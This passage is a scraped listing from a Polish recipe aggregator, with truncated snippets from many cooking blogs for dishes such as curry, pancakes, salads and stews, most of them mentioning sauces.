lodówki na 20 minut. Rozgrzej patelnię do smażenia naleśników, zmocz ręcznik papierowy olejem kokosowym lub rzepakowym i przetrzyj dno patelni.  Łyżką wazową nalewaj ciasto i rozprowadzaj, jak sos na pizzy. Smaż cieniutkie naleśniki, z tej ilości otrzymasz 9 naleśników. Naleśniki możesz podawać na słodko, jak i na słono z dowolnymi dodatkami. Polecam z BIO kiwi i odrobiną BIO syropu

SMYKWKUCHNI
Kurczak curry z mango 158

Kurczak curry z mango to pyszne danie z kuchni tajskiej. Zadowoli wszystkich miłośników orientalnych smaków. Aromatyczny, słodko-pikantny filet z kurczaka w aksamitnym sosie z mleczka kokosowego rozpływa się w ustach. Niewiele składników, smak doskonały i największa zaleta - do przygotowania łącznie z gotowaniem ryżu nie potrzebujesz więcej niż 30 minut

Gotuj zdrowo!Guten Appetit!
Kopytka gryczane 157

jajka, wegańskie. Kopytka możemy zrobić z ugotowanych ziemniaków, które zostaną nam z obiadu, ale pyszne wychodzą z ziemniaków wcześniej upieczonych. Kopytka pyszne są solo albo podane w sosie pieczarkowym czy ze skwareczkami. PRZEPIS NA KOPYTKA GRYCZANE Składniki na kopytka gryczane: 0,5kg ziemniaków ugotowanych 1 szkl mąki gryczanej 2-3 łyżki jogurtu sojowego sól Jak zrobić kopytka gryczane: Najpierw ugotowane

Dorota Smakuje
Makaron z warzywami i kurczakiem w pysznym sosie 168

Pomysł na szybki i pyszny obiad z makaronu z sosem na bazie mascarpone i jogurtu do tego kurczak i warzywa ....jest na prawdę rewelacyjny polecam Na mojej stronie znajdziecie sporo różnych pomysłów na makaron ,bo bardzo go lubię i ciągle powstają nowe przepisy. Takie dania zazwyczaj sprawdzają się najlepiej jak potrzebujemy szybko przygotować coś smacznego dla całej rodziny

Swojskie jedzonko
Placuszki maślankowo-bananowe 127

Placuszki smażone są na suchej patelni (bez wcześniejszego rozgrzewania tłuszczu). Dodatkowo do placków nie dodałam ani grama cukru, ponieważ banan "oddał" swoją słodycz. Takie placuszki możecie podać, np. z sosem truskawkowym.  Składniki na około 25 sztuk: 1 szklanka mąki pszennej (150 g) 1 szklanka maślanki 1 dojrzały, średniej wielkości banan 1 jajko 1 płaska łyżeczka proszku do pieczenia

Ugotować
Bagietki zapiekane z mięsem mielonym 250

razu podajemy. [caption id="attachment_8814" align="aligncenter" width="1024"] Bagietki zapiekane z mięsem mielonym[/caption] Zobacz inne przepisy na zapiekanki: Zapiekanki Z Pieczarkami Zapiekanka Tostowa Z Szynką I Sosem Pomidorowym Bułki Faszerowane Mięsem I Pieczarkami Zapiekany Chleb W Kratkę Zapiekanka Z Chleba Tostowego Artykuł Bagietki zapiekane z mięsem mielonym pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Tortilla z kurczakiem i ryżem 176

kurczakiem i awokado Składniki placki tortilli 2 pojedyncze piersi z kurczaka 100g ryżu (1 torebka) czerwona papryka cebula 1 łyżeczka curry oliwa sól pieprz Szybki przepis na: Jogurtowy sos czosnkowy Tortilla z kurczakiem i ryżem – przepis Kurczaka myjemy, skrapiamy oliwą, doprawiamy solą, pieprzem i smażymy na patelni grillowej z obu stron przez ok. 6 minut z każdej. Ryż gotujemy

Kulinarnyblog.pl - wiesz jak gotować!
Kalafior z boczkiem i mięsem mielonym. Mózg z kalafiora. 201

nazwa tej potrawy, czyli mózg kalafiorowy, ale środku jest tylko kalafior i mięso mielone, a na wierzchu wspaniała i chrupiąca skórka z boczku wędzonego. Coś pysznego! Świetnie smakuje z sosem czosnkowym. Inne nazwy jakie możecie spotkać w Internecie to kalafior faszerowany mięsem mielonym, kalafior z mięsem mielonym, kalafior faszerowany itp. Kalafior z boczkiem i mięsem mielonym to moje kolejne danie

Damsko-męskie spojrzenie na kuchnię
Gulasz wieprzowy z fasolą 149

zmniejszyłam ogień. Na wolnym ogniu dusiłam gulasz do miękkości, mieszając od czasu do czasu. Mąkę ziemniaczaną rozmieszałam w odrobinie zimnej wody i dolałam do garnka, zamieszałam i dusiłam dalej. Sos powinien się zagęścić. Pod koniec duszenia przyprawiłam gulasz solą. Ja gulasz podałam ze świeżym pieczywem. Można też podać np. z kaszą gryczaną. SMACZNEGO

Waniliowe Improwizacje
Jagodowa manna gryczana 148

osobnym rondelku zagotowujemy mleko z wodą i połową ksylitolu. Gdy zacznie się gotować-bulgotać, dodajemy kaszę. Mieszamy cały czas, zmniejszamy temperaturę grzania. Gdy kasza zacznie gęstnieć, dodajemy przygotowany sos jagodowy i mieszamy. Przekładamy do miseczek. Podajemy ciepłą

Kucharzyca
Buraczki na zimno 278

Buraczki na zimno to prosty w przygotowaniu dodatek do obiadu. Najczęściej jest podawany do kotletów mielonych lub mięsa w ciemnym sosie. Do przygotowania tej surówki potrzebujemy dosłownie kilku składników. Pomysł na śniadanie: Szakszuka z kurczakiem i papryką Składniki 2 -3 buraki oliwa z oliwek sól pieprz kwasek cytrynowy cukier Zobacz przepis na: Surówka z pieczonych buraków Buraczki na zimno

Kulinarnyblog.pl - wiesz jak gotować!
Zupa z soczewicy z kaczką pieczoną 157

wszystkie można tu wykorzystać. PRZEPIS ZUPA Z SOCZEWICY Z KACZKĄ Składniki zupa z soczewicy z kaczką: 400g soczewicy suchej kości i resztki mięsa, skóra z kaczki pieczonej (również sos z pieczenia) 3 marchewki 1 korzeń pietruszki 1 plaster selera korzeniowego 1 łodyga selera naciowego 2 cebule 3 ząbki czosnku 1 kg ziemniaków 2 liście laurowe 10szt ziela angielskiego 1 łyżeczka

Dorota Smakuje
Kotlety gryczane z pieczarkami i białym serem 149

Kotlety gryczane z pieczarkami i białym serem to pyszna bezmięsna alternatywa mięsnych kotletów. Podaję je w różny sposób. Czasami z kleksem śmietany, czasami jak dzisiaj z sosem pieczarkowym. Oczywiście wskazana jest również surówka. W moim domu kasza gryczana jest bardzo lubiana. Pierogi z podobnym nadzieniem robią furorę. Fakt, to wschodnia część Polski a tu kasza … Czytaj dalej Kotlety gryczane

Pieprzyć z Fantazją
Makaronowa sałatka z jajkami 141

kostkę. Zieloną część cebulki dymki/szczypiorek drobno siekamy. Majonez łączymy ze śmietaną, doprawiamy do smaku solą oraz pieprzem. W dużej misce mieszamy makaron z szynką, jajkami oraz połową zieleniny. Dodajemy sos, mieszamy. Przekładamy do salaterki. Wokół brzegów miski rozkładamy cząstki jajek. Wierzch posypujemy resztą szczypiorku

Smaki Na Talerzu
Kaszotto z indykiem i cukinią 142

drobno pokrojoną marchew, selera, pietruszkę, chwilę podsmażać, po czym wsypać kaszę. Po dodaniu kaszy podlać ją 250 ml bulionu i zamieszać. Czynność powtarzać, aż kasza będzie miękka, a powstały sos kremowy. W międzyczasie dodać przyprawy. Dodać pokrojone w plastry pieczarki i dusić z kaszą około 7 minut. Pod koniec dodać drobno pokrojoną paprykę i pokrojoną w półplasterki cukinię. Doprawić

Kuchcik gotuje
Zupa-krem z suszonych grzybów 126

się nimi w kuchni - wystarczy użyć suszonych grzybów. Wszyscy, którzy jesienią zdecydowali się na ususzenie części swoich leśnych zbiorów, mogą teraz bez problemu cieszyć się ich smakiem w zupie, sosie czy krokietach. Cała reszta może bez problemu kupić suszone grzyby w sklepie spożywczym. Pamiętajcie jednak, że przy grzybach należy zachować szczególną ostrożność, zwłaszcza jeśli zbieracie je sami. Zupa-krem

Z notatnika dietetyka
Surówka z rzodkiewki 135

obiadu, doskonale komponuje się z mięsnymi daniami. Gwarantuję, że ta wiosenna surówka z rzodkiewki Wam posmakuje. Tarta rzodkiewka została wymieszana ze szczypiorkiem, z dodatkiem majonezu i jogurtu. Podobnie przygotowuję sos rzodkiewkowy, w którym rzodkiewka zostaje starta na bardzo drobnych oczkach. Lubię rzodkiewkę i często ją wykorzystuję do przygotowania potraw. Uwielbiam twarożek wiejski z rzodkiewką i twarożek z rzodkiewką i ogórkiem

Damsko-męskie spojrzenie na kuchnię
Naleśniki zapiekane z pysznym farszem 239

oczkach *** *** Na wierzchu możemy dodatkowo wyłożyć podsmażone pieczarki, jeżeli nam zostały *** *** Naleśniki zapiekamy w piekarniku nagrzanym do 180’C przez 20 minut – bez przykrycia *** *** Podajemy na ciepło polane ulubionym sosem np. czosnkowym lub ketchupem *** *** SMACZNEGO ***       POLECAM RÓWNIEŻ: PRZEPISY NA SZYBKIE, TANIE I ŁATWE OBIADY KLIKNIJ TUTAJ IMPREZOWE HITY! POMYSŁY NA PRZEKĄSKI, DANIA I PRZYSTAWKI KLIKNIJ TUTAJ NAJLEPSZE

Blog z Apetytem
babka ziemniaczana z kiełbasą 140

oraz pieprzem. Wąską foremkę/ keksówkę natłuszczamy i obsypujemy bułką tartą. Przekładamy równomiernie masę. Pieczemy w ok. 180 st. C przez ok. 90 min. Babę podajemy np. ze śmietaną lub sosem np. grzybowym. Możemy ją również podać na następny dzień, podgrzaną

Domowy Smak Jedzenia
Sałatka z gotowanymi białkami 159

Sałatka z gotowanymi białkami , z białek które zostały nam po pieczeniu różnych kruchych ciast, np. mazurka z polewą czekoladową , przygotowaniu sosu majonezowego z gotowanych żółtek... Majonez z gotowanych żółtek polecam szczególnie tym, którzy boją się dodawać surowe żółtka. białka 6 jajek ugotowanych na twardo, puszka groszku, 1 duże twarde jabłko (np. ligol) 1 - 2 łyżki majonezu, szczypiorek, Wymieszać białka

królestwo garów
Szałołt… niy wiym jaki (Sałatka… ;) ) 153

We szałołtach je nojlepsze to, że idzie bele co wczajś1 do miski, ôblołć2 zōłzōm3 i mōmy danie, jak u jakego grołfa4. Niystety je sam zeler [...] Artykuł

Chop w kuchni
Kluski śląskie 186

kulkę, a następnie najmniejszym palcem lub trzonkiem małej drewnianej łyżki robimy charakterystyczną dziurkę. Kluski wrzucamy do gotującej się, osolonej wody i wyciągamy ok 1 minutę po wypłynięciu. Podajemy z sosem, gulaszem i surówką lub jako samodzielne danie, okraszone boczkiem lub masłem

Kuchnia w czekoladzie
Nuggetsy 138

czyli pyszne kawałki kurczaka w panierce, uwielbiane zarówno przez dzieci, jak ich dorosłych, prawda? No bo, czy jest ktoś, kto ich nie lubi? :) My je uwielbiamy :) Zwłaszcza w towarzystwie sosu czosnkowego, majonezowego lub miodowo- The post Nuggetsy appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Wegetariańskie chilli 117

kminu i kolendry, pół łyżeczki pieprzu kajeńskiego (jeśli lubisz ostrzejsze chili). Zamieszaj i smaż 4-5 minut, aż cebula zmięknie. Dodaj posiekany ząbek czosnku, smaż jeszcze minutę. Zalej całość sosem pomidorowym (usuń z niego cebulę, czosnek i liść laurowy), dodaj upieczonego batata i cieciorkę oraz odsączoną fasolkę. Zamieszaj i duś na wolnym ogniu 5-10 minut. Dopraw do smaku solą

Niedzielny kucharz
Przepis dnia: Sałatka z pieczonego batata, kapusty i cieciorki 134

Sałatka z batata i pieczonej kapusty to jedna z najlepszych sałatek jakie jedliśmy. Super smakuje bez żadnego dresingu, ale jeśli chcesz możesz ją polać ulubionym sosem. Czas: 35 minut Poziom trudności : Bardzo łatwe Liczba porcji: 2 Składniki: 1 duży ziemniak 2 puszki cieciorki (2×400 ml) Kawałek czerwonej kapusty Garść jarmużu (150 g) 1 łyżeczka suszonego czosnku 1 łyżeczka

Niedzielny kucharz
Jak wyparzyć jajka? 111

Jajka które spożywamy na surowo jako składnik sosów, lodów itp. należy zawsze wyparzyć aby uniknąć zatrucia salmonellą. Wybieramy tylko te jajka bez uszkodzeń zewnętrznych . 1. Jajka myjemy pod ciepłą wodą i czyścimy namoczoną gąbką lub wacikiem. Możemy użyć w tym celu octu. 2. Następnie zanurzamy we wrzątku na minimum 10 sekund . Temperatura powyżej 60 stopni to jedyny sposób by pozbyć

karolgotuje
Sylwestrowe przekąski na 15 sposobów 117

przepis, kliknij w zdjęcie. Pasztet z cukinii sprawdza się właściwie na każdej okazji. Możecie podać go zarówno na ciepło, jak i na zimno. Warto też przygotować do niego parę sosów np. czosnkowy lub żurawinowy. 8. Sylwestrowe przekąski: hummus Aby zobaczyć przepis, kliknij w zdjęcie. Hummus jest genialnym rozwiązaniem, kiedy musicie przygotować przekąskę dla dużej ilości ludzi. Wystarczy podać

okolicepalnika.pl
Koktajl przyspieszający odchudzanie 115

wodę. Latem możesz też przygotować koktajl z dodatkiem kostek lodu. Miksuj wszystkie składniki przez kilka minut na gładką masę i natychmiast podawaj. Zobacz też inne przepisy : Marynata do mięs Sos czosnkowy Ekspresowa cytrynówka Tradycyjny rosół Domowa kostka rosołowa Syrop z czosnku Zobacz też najnowsze przepisy : Pasta alla norma – makaron z bakłażanem Schab po azjatycku Grzanki z kozim serem

okolicepalnika.pl
POLICZKI WOŁOWE Z WARZYWAMI Z WOLNOWARU (keto, LCHF, paleo, bez glutenu i laktozy) 241

pokroić na grubsze plastry. Pietruszkę i marchewkę obrać i przekroić na mniejsze kawałki, ale nie za małe żeby nie rozpadły się podczas gotowania i łatwo było je wyjąć z sosu. Na dnie misy wolnowaru ułożyć cukinię, ziele angielskie i liście laurowe a na nich mięso. Na patelni podgrzać przecier pomidorowy dodając sól i pieprz. Gotować przez chwilę by nieco odparować

Ola la LCHF
Patatas bravas z bobem 166

kęs, ja dodałam do nich jeszcze nasz polski bób i danie wyszło znakomite. Polecam na przyjęcia, rauty czy inne spotkania z przyjaciółmi. Te ziemniaczki są znakomite, popróbujcie. Ziemniaki z sosem i bobem. CZYTAJ DALEJ

Moje Małe Czarowanie
Menu na tydzień: 3x wege, fishburger i kurczak 142

kulinarnym eksperymentem – szczegóły opiszemy w przepisie. Kurczak został częściowo skonsumowany na obiad niedzielny. Resztę spakowaliśmy na poniedziałek. Generalnie, porcjowanie i pakowanie jedzenia zrobiliśmy dosłownie przed chwilą. Większość obiadów zamroziliśmy: sos bolognese (makaron ugotujemy na świeżo), kaszotto i burgery. Może jesteście zaskoczeni, że mrozimy burgery – otóż jak najbardziej i to na dodatek razem z bułkami i warzywami w środku

Niedzielny kucharz
Przepis dnia: Pieczone udka z ziemniakami i pomidorkami 262

łyżeczka suszonego tymianku 1 łyżeczka suszonego rozmarynu Sól Pieprz Natka pietruszki do posypania gotowego dania Przygotowanie: Krok 1 Zamarynuj kurczaka. Połącz w miseczce 2 łyżki musztardy, 2 łyżki oleju, sos z cytryny, 2 łyżeczki papryki, 1 łyżeczkę soli. Wymieszaj. Zalej marynatą udka, dobrze obtocz w niej kurczaka. Odstaw. Krok 2 Umyj warzywa. Ziemniaki pokrój na połowy, szalotki wzdłuż na ćwiartki

Niedzielny kucharz
PASTY JAJECZNE NA TRZY SPOSOBY + FILMIK 136

Dzisiaj przepis na smaczne pasty jajeczne, łatwe w przygotowaniu i idealne do pieczywa, polecam.  SKŁADNIKI :  12 jajek ugotowanych na twardo  1 puszka tuńczyka w sosie własnym 100 g serka topionego gouda 100 g miękkiej szynki w kawałku 1 duży pęczek szczypiorku   mała papryka czerwona 1 cebula czerwona 3 ogórki konserwowe sól, pieprz do smaku majonez

Kulinarne Fantazje Marioli
Śledzie pod pierzynką – przepis 192

majonezu, i przykrywamy startym jajkiem. Ostatnią warstwę sałatki stanowi ser żółty. Gotową sałatkę możemy udekorować natką pietruszki. Śledzie pod pierzynką Zapraszam również do skorzystania z innych przepisów: Śledzie w sosie koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Dorsz pieczony z koperkiem Sałatka warstwowa gyros – Ksiega-smaku.pl Artykuł Śledzie pod pierzynką – przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Śledzie gajowego – Przysmak gajowego 158

chłodne miejsce. Śledzie najlepiej smakują na drugi dzień. śledzie gajowego, przysmak gajowego Zapraszam również do skorzystania z innych przepisów: Ryba po grecku z ogórkiem kiszonym i cebulą Śledzie w sosie koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Placek po zbójnicku – przepis Artykuł Śledzie gajowego – Przysmak gajowego pochodzi z serwisu Księga Smaku

Księga-Smaku
Przepis na domowy smalec z boczkiem i jabłkiem 339

tygodnie. Smacznego domowy smalec z boczkiem Zapraszam również do skorzystania z innych przepisów, a jeżeli spodobał Ci się ten przepis będzie mi miło za polubienie strony. Karkówka duszona w sosie własnym Zapiekanka ziemniaczana z kiełbasą i cebulą Pieczone ziemniaki z piekarnika Sałatka warstwowa gyros – Ksiega-smaku.pl Artykuł Przepis na domowy smalec z boczkiem i jabłkiem pochodzi z serwisu Księga Smaku

Księga-Smaku
Sałatka z ananasem, selerem i szynką konserwową 149

mieszamy, na koniec sałatkę odkładamy do lodówki. Sałatka z ananasem, selerem i szynką konserwową Zapraszam również do skorzystania z innych przepisów: Śledzie pod pierzynką – przepis Makaron z kurczakiem w sosie śmietanowo koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Surówka z selera i jabłka – Ksiega-smaku.pl Artykuł Sałatka z ananasem, selerem i szynką konserwową pochodzi z serwisu Księga Smaku

Księga-Smaku
PLACKI ZE SZPINAKIEM Z PIEKARNIKA 142

doskonała propozycja na smaczny obiad. Dodatek kurkumy nadaje im piękny kolor i wpływa na trawienie posiłku. Z pewnością wrócę do nich bo smak mnie zaskoczył. Placki doskonale smakują z sosem jogurtowo - czosnkowym. Składniki:  garść szpinaku 2 jajka 4 łyżki mąki orkiszowej 1 - 2 ząbki czosnku 1 łyżka szczypiorku posiekanego 1/2 łyżeczki kurkumy sól.pieprz Szpinak umyć,posiekać. Przełożyć

Niespełnione zdolności kulinarne
Keto empanady z kurczakiem (Paleo, LowCarb) 158

Dużym plusem tego przepisu jest także fakt, że zostaje spora ilość nadzienia. Na 24 sztuki zużyłam mniej więcej połowę. Druga połowa posłużyła za pyszny keto obiad . Dodałam do niego sosu pomidorowego i podałam z makaronem shirataki . Wyszło z tego świetne spaghetti ! Takie szybkie keto dania obiadowe to ja lubię! Keto empanady z kurczakiem natomiast posłużą lepiej jako przystawka lub finger

Modern Cave Girl
Sałatka z gotowanym kurczakiem, kukurydzą i ananasem 142

kostkę: ananas, cebulę i seler naciowy, a także rozdrobniony czosnek i kukurydzę. Do słoiczka wlewamy majonez, jogurt, a także poszatkowaną natkę, zamykamy go i energicznie mieszamy. Do sałatki wlewamy sos, doprawiamy ją solą i pieprzem, mieszamy i wkładamy do lodówki na minimum 30 minut

Kardamonovy
PIKANTNE LECZO Z PULPECIKAMI Z SZYNKI 162

małą papryczkę chili (bez pestek).   Składniki: 3 papryki czerwone 1 papryka zielona 2 papryki żółte 600 g małych pieczarek 3 cebule 3 ząbki czosnku 1 puszka pomidorów w sosie własnym (wcześniej zblendowanych) sól pieprz ziele angielskie liść laurowy ketchup pikantny ostra i słodka papryka koncentrat pomidorowy Na pulpeciki: 1 kg mielonego mięsa (u mnie od szynki) 2 jajka

Walijskie Pichcenie
Kotlety z ziemniaków i ciecierzycy 167

okrągłego kotlecika. Jeśli masa będzie zbyt rzadka, możesz dodać do niej bułkę tartą. Gotowe kotleciki smaż na rozgrzanej oliwie. Kotlety z ziemniaków i ciecierzycy podawaj z ulubionymi dodatkami, np. sosem mięsnym, czy warzywami. Smacznego Szukasz kulinarnych inspiracji w stylu zero waste? Ten ebook jest dla Ciebie Artykuł Kotlety z ziemniaków i ciecierzycy pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Chlebek sodowy z daktylami i orzechami włoskimi... 191

gotowego wypieku - śmierć moja, daję się namówić! Chlebek jest nieco słodkawy i raczej nie nadaje się, jako baza dla kanapki z serem, czy tuńczykiem. Ale okazał się pyszny z sosem żurawinowym i brie, albo z masłem i dżemem.   Składniki: (na 1 bochenek) 400g m ą ki 2 łyżeczki proszku do pieczenia 1/2 łyżeczki soli 50g drobnego cukru 2 łyżki

Lejdi of the house
Makaron z kolorową papryką i szynką – pomysł na szybki obiad 181

Podlaska Chata (a także inne wyroby z tej firmy)* 1 pełna łyżka posiekanej zielonej pietruszki sól i pieprz do smaku około 200-250 ml śmietany 18% do zup i sosów (z kartonika) nieduża ilość oleju do podsmażenia składników * Uwaga! Mam dla Was kod rabatowy na zakupy na https://www.skleppodlaskachata.pl/ Otrzymacie 10 % rabatu na hasło: slodkieokruszki Przygotowanie: Makaron gotujemy zgodnie

Słodkie okruszki
Przepis dnia: Krewetki z ryżem 166

czerwonym, bo jest i ładny i zdrowy. Zamiast ryżu czerwonego możesz użyć jaśminowego, białego, albo drobnego makaronu, jak np. gwiazdki. Polecamy też przepis na pyszne spaghetti z krewetki w sosie maślanym . Składniki: 200-300 g dużych, surowych krewetek 1 łyżka skórki otartej z cytryny 1 łyżka soku z cytryny 4 ząbki czosnku 1 suszona papryczka chili (opcjonalnie) 3 łyżki oleju

Niedzielny kucharz
Wielkanocna szynka z białą kiełbasą i sosem chrzanowym 159

Pyszna soczysta szynka,idealna na Wielkanoc ale nie tylko,Nadziana białą kiełbasą i podawana z sosem chrzanowym na dwa sposoby.Pyszna jako danie na ciepło ,jak również na zimną zakąskę.Polecam gorąco i zapraszam po przepis

Swojskie jedzonko
Placki z gotowanych ziemniaków z rzeżuchą 118

papierowymi, żeby odsączyć je z nadmiaru tłuszczu. Placki podałam na ciepło. Ja najbardziej lubię je z białym serem lub serkiem wiejskim. Można je też podać same lub np. z sosem pieczarkowym. SMACZNEGO

Waniliowe Improwizacje
Gołąbkowy Hit 177

pół plasterki, prużymy aż warzywa będą miękkie. 6.       Pod koniec prużenia wlewamy przecier i doprawiamy papryką oraz solą. 7.       Sosem warzywnym polewamy gołąbki. 8.       Zapiekamy 30 minut w 180°C. 9.       Danie gotowe. 10.   Smacznego

Kulinarna Chwila
Pyzy ziemniaczane z grzybami 144

czasie doprawiamy, przykrywamy przykrywką i dusimy kolejne 10 minut. Pod koniec gotowania dodajemy mleko kokosowe, mieszamy. Jeśli macie ochotę, możecie dodać więcej mleka kokosowego, aby uzyskać większą ilość sosu. Podajemy z pyzami

Kucharzyca
Pieczony pstrąg i frytki warzywne z piekarnika 139

piekarnika, a frytki o poziom wyżej *** *** Danie podajemy od razu po wyjęciu z piekarnika **** *** SMACZNEGO ***       POLECAM TAKŻE: RYBA W CIEŚCIE SEROWYM PRZEPIS TUTAJ ŁOSOŚ PIECZONY W SOSIE SOJOWYM Z MIODEM PRZEPIS TUTAJ RYBA PO JAPOŃSKU PRZEPIS TUTAJ OPIEKANE ŚLEDZIE W ZALEWIE POMIDOROWO-OCTOWEJ PRZEPIS TUTAJ Artykuł Pieczony pstrąg i frytki warzywne z piekarnika pochodzi z serwisu Blog

Blog z Apetytem
Sałatka z kaszy jaglanej i tuńczyka 163

bezglutenowa, zdrowa i rozgrzewająca organizm. Do sałatki dodałam tuńczyka w oleju bo olej jest nośnikiem smaku co pozytywnie wpływa na sałatkę, ale jeśli liczycie kalorie możecie wybrać ten w sosie własnym. Do sałatki użyłam sałatki szwedzkiej, która robiłam latem – marchewka i ogórki w zalewie octowej, ale można tu użyć też korniszonów. PRZEPIS SAŁATKA Z KASZY JAGLANEJ I TUŃCZYKA Składniki

Dorota Smakuje
Placuszki z ziemniakami – kuchnia podkarpacka 146

dokładnie zlepiając brzegi. Na patelni rozgrzewamy olej i smażymy placuszki z obu stron na złoty kolor. Placuszki z ziemniakami podajemy na ciepło lub na zimno. Będą smakowały z pikantnymi sosami lub jako dodatek do innych dań. Placuszki z ziemniakami - kuchnia podkarpacka Zapraszam do zakładki KUCHNIA PODKARPACKA

Trzeci talerz
Pieczeń rzymska z jajkiem i szpinakiem 161

upieczeniu była w środku zwarta.( można foremką lekko uderzyć o blat) Włożyć do nagrzanego piekarnika do 180 stopni i pieczemy ok 40 minut. Smacznego :)  Do podania polecam pyszny sos koperkowy na który przepis znajduje się w tym poście  Klik tutaj Polecam też pieczeń rzymską bez szpinaku  Klik tutaj

Andzia Pichci
Pie z kurczakiem i pieczarkami 149

prowansalskie,  wszystko wymieszać i smażyć aż pieczarki zmiękną.  Dodać serek kremowy (Philadelphia) i rosół i dokładnie wymieszać. Dodać kurczaka, wymieszać i chwilę dusić na niewielkim ogniu, aż sos nieco zgęstnieje. Doprawić smaku solą i pieprzem. Wyłączyć i przestudzić. Piekarnik nagrzać do 180 stopni. Jajko wbić do niedużej miseczki i roztrzepać widelcem. Farsz kurczakowo - pieczarkowy przełożyć do naczynia

Codzienne Gotowanie
Tarta z tuńczykiem 160

łyżka maku suchego kwaśna śmietana – kilka łyżek (można zastąpić jogurtem naturalnym) nadzienie: 500g śmietany np 18% lub 12% 1 cebula 1 marchewka 2 ogórki korniszony 1 puszka tuńczyka w sosie własnym 3 łyżki masła 2 ząbki czosnku pieprz sól 2 duże jajka 2 łyżki posiekanego koperku Jak zrobić tarta z tuńczykiem: Najpierw przygotowujemy ciasto. Na początku do miski wsypujemy mąkę

Dorota Smakuje
Kuczak curry w sosie śmietanowym (Pollo al curry e panna) 173

cottura per altri 2 minuti, mescolando di tanto in tanto. Per ultimo versate il brodo caldo. Cuocete il tutto per circa 10 minuti, mescolando di tanto in tanto. Do sosu dodajemy wcze ś niej podsma ż onego kurczaka oraz śmietanę roztrzepan ą  z 2 łyżkami ciepłego bulionu;  doprawiamy sol ą oraz  pieprzem.  Curry g otujemy

La grande e la piccola cuoca
Grillowana Polędwica Wieprzowa w Marynacie z Coli 119

przykryciem. 4. Na drugi dzień mięsko pieczemy na urządzeniu wielofunkcyjnym firmy DEZAL Plus , tak długo jaki stopień wypieczenia lubimy :) 5. Polecam polędwiczki podawać z pieczonymi ziemniaczkami w ziołach oraz sosem jogurtowym (dodam go jako kolejny wpis

Dziś Ja gotuje
Sałatka z ananasem, selerem i szynką konserwową 190

mieszamy, na koniec sałatkę odkładamy do lodówki. Sałatka z ananasem, selerem i szynką konserwową Zapraszam również do skorzystania z innych przepisów: Śledzie pod pierzynką – przepis Makaron z kurczakiem w sosie śmietanowo koperkowym Zapiekanka z ryżem, brokułem i kurczakiem Surówka z selera i jabłka – Ksiega-smaku.pl Artykuł Sałatka z ananasem, selerem i szynką konserwową pochodzi z serwisu Księga Smaku

Księga-Smaku
Zimowy jarmuż na gęsto 144

dodałam jarmuż, podlałam niewielka ilością wody (około 1/2 szklanki), posoliłam  o dusiłam pod przykryciem, aż liście zmiękły. Oprószyłam wszystko kozieradką, odrobiną mąki i pieprzem do smaku. Wymieszałam. Gdy sos powstały z duszenia warzyw się zagęścił  zdjęłam z ognia. Jarmuż w tej postaci jest smacznym dodatkiem do mięsa lub farszem do naleśników. Ja podałam go w naleśnikach z pręgą

Gotuj Sam!
Jak przyrządzić kolację z resztek? 193

zioła, przyprawy i szybka, a przede wszystkim smaczna sałatka już jest gotowa. Super ekspresowa sałatka z resztek na kolację to oczywiście sałatka makaronowa. Resztki bolognese Co robicie z resztek sosu bolognese? Ja przygotowuję pyszne kanapki. Domowe bułki hamburgerowe napełniam resztkami bolognese, plastrami sera mozzarella i krótko zapiekam aż ser będzie miękki i ciągnący. Ten pomysł wpadł mi do głowy bardzo

codojedzenia
Wielkanocne jajka faszerowane 91

tylko na świątecznym stole, ale na każdym rodzinnym spotkaniu. Do przygotowania potrawy potrzebujemy: – kilka jajek – majonez lub/i jogurt – szczypiorek/koperek/pietruszkę – 1 puszkę tuńczyka w sosie własnym Ugotowane jajka przekrawamy na pół. Wyciągamy żółtka do osobnej miseczki i dodajemy majonez/jogurt , tuńczyka i kapary. Wszystko mieszamy, doprawiamy solą i pieprzem. Ozdabiamy plastrem rzodkiewki. Życzę Wam smacznego

Szybko Tanio Smacznie
Pomidory z farszem tuńczykowym 98

nakarmić swoich gości! Takie są też faszerowane pomidory – chyba prościej się już nie da! Do przygotowania faszerowanych pomidorów potrzebujemy: – połówki świeżych pomidorów – 1 puszkę tuńczyka (w sosie własnym) – majonez jogurt – kapary – sól, pieprz do smaku – ćwiartki ugotowanych jajek Tuńczyka odsączcie z zalewy, wrzućcie do miski i rozpuście widelce. Dodajcie jogurt, majonez (wystarczy jedna

Szybko Tanio Smacznie
Pasta z twarożku i czosnku niedźwiedziego 92

Pastę możemy użyć na chleb, do faszerowania jajek. Świetnie smakuje też do mięs w formie gęstego sosu. Do przygotowania pasty potrzebujemy: – 1 opakowanie czosnku niedźwiedziego – 1 opakowanie twarożku – sól, pieprz do smaku – opcjonalnie majonez (ja dodałam jedną łyżeczkę) Liście czosnku opłukać, osuszyć i odciąć końcówki. Posiekać, zblendować razem z serkiem i doprawić do smaku. Całość najlepsza

Szybko Tanio Smacznie
Sałatka z quinoa, pomarańczy, imbiru, orzechów z dodatkiem suszonych owoców i miodu 79

ugotować do miękkości, przelać zimną wodą po czym ostudzić. Orzechy i suszone owoce posiekać a obrane pomarańcze pokroić na mniejsze kawałki (z 2 ćwiartek wyciśnijcie sok, z którego zrobimy sos). Imbir zetrzyjcie na tarce. W misce wymieszać wszystkie składniki i ewentualnie możecie dodać miód lub sok z pomarańczy, jeżeli stwierdzicie, że całość jest za mało słodka lub za sucha. Życzę

Szybko Tanio Smacznie
Sałatka z ogórków kiszonych, nektarynek i selera 106

seler naciowy -2 łyżki oliwy z oliwek – 1 łyżeczkę octu balsamicznego – 1 łyżeczkę musztardę z ziarnami gorczycy – 1 garść pistacji Przygotowanie sałatki zacznijcie od przygotowania sosu do sałatki – wymieszajcie oliwę, ocet oraz musztardę i odstawcie na bok. W tym czasie pokrójcie ogórki w równej wielkości plasterki. Nektarynkę przekrójcie na pół, usuńcie pestkę i pokrójcie owoc

Szybko Tanio Smacznie
Gulasz ze słodkich ziemniaków, marchewki i jarmużu 111

takie dania lubię ostatnio najbardziej. W chłodniejsze dni organizm sam domaga się czegoś ciepłego, konkretnego a ten gulasz świetnie się w takim wydaniu sprawdzi. W kremowym, ale nie tłustym, sosie kryje się cała rozgrzewająca moc tego dania! Do przygotowania 2 porcji gulaszu potrzebujemy: – 1 słodkiego ziemniaka – 2 małe marchewki – 1 małą cukinię – sól, pieprz, curry

